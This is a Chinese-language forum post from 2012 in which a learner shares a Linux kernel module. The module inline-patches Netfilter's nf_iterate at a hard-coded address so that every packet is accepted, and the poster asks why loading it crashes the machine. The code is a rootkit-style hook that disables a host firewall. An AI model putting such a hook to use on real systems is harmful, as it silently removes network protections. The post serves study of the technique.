- 论坛徽章:
- 0
|
本帖最后由 kenshinoor 于 2012-04-19 15:36 编辑
学习Hacking the Linux Kernel Network Stack里边第六部分的代码。劫持Netfilter里边nf_iterate这个函数位置在net\netfilter\core.c。
很短的一段代码。劫持Netfilter里边的nf_iterate函数。
orig_nf_iterate是指向nf_iterate的函数指针。地址在System.map查到。
my_code是用来替换目标地址的代码。
劫持以后。直接返回NF_ACCEPT通过全部的包。
编译的结果。
可是只要insmod就直接死机。键盘等闪啊闪~- //hijack nf_iterate
- #include <linux/netfilter.h>
- #include <linux/kernel.h>
- #include <linux/module.h>
- #include <linux/netdevice.h>
- #include <linux/inetdevice.h>
- #include <asm/page.h>
- #include <linux/smp_lock.h>
- #define CODESIZE 10
- static unsigned char my_code[CODESIZE] = "\xb8\x00\x00\x00\x00"
- "\x40\x90\x48"
- "\xff\xe0";
- static unsigned char orig_code[CODESIZE];
- //lock define
- static spinlock_t hijack_lock = SPIN_LOCK_UNLOCKED;
- #define HIJACK_LOCK spin_lock_irqsave(&hijack_lock, sl_flags)
- #define HIJACK_UNLOCK spin_unlock_irqrestore(&hijack_lock, sl_flags)
- unsigned int (*orig_nf_iterate)(struct list_head *head,
- struct sk_buff *skb,
- unsigned int hook,
- const struct net_device *indev,
- const struct net_device *outdev,
- struct list_head **i,
- int (*okfn)(struct sk_buff *),
- int hook_thresh)=0xc07ac3a0;
- unsigned int my_nf_iterate(struct list_head *head,
- struct sk_buff *skb,
- unsigned int hook,
- const struct net_device *indev,
- const struct net_device *outdev,
- struct list_head **i,
- int (*okfn)(struct sk_buff *),
- int hook_thresh){
- return NF_ACCEPT;
- }
- int init_module(void){
- int sl_flags;
- *(unsigned int *)(my_code + 1) = (unsigned int)my_nf_iterate;
- HIJACK_LOCK;
- memcpy(orig_code, (char *)orig_nf_iterate, CODESIZE);
- memcpy((char *)orig_nf_iterate, my_code, CODESIZE);
- HIJACK_UNLOCK;
- return 0;
- }
- void cleanup_module(){
- int sl_flags;
- lock_kernel();
- HIJACK_LOCK;
- memcpy((char *)orig_nf_iterate, orig_code, CODESIZE);
- HIJACK_UNLOCK;
- unlock_kernel();
- }
复制代码 |
|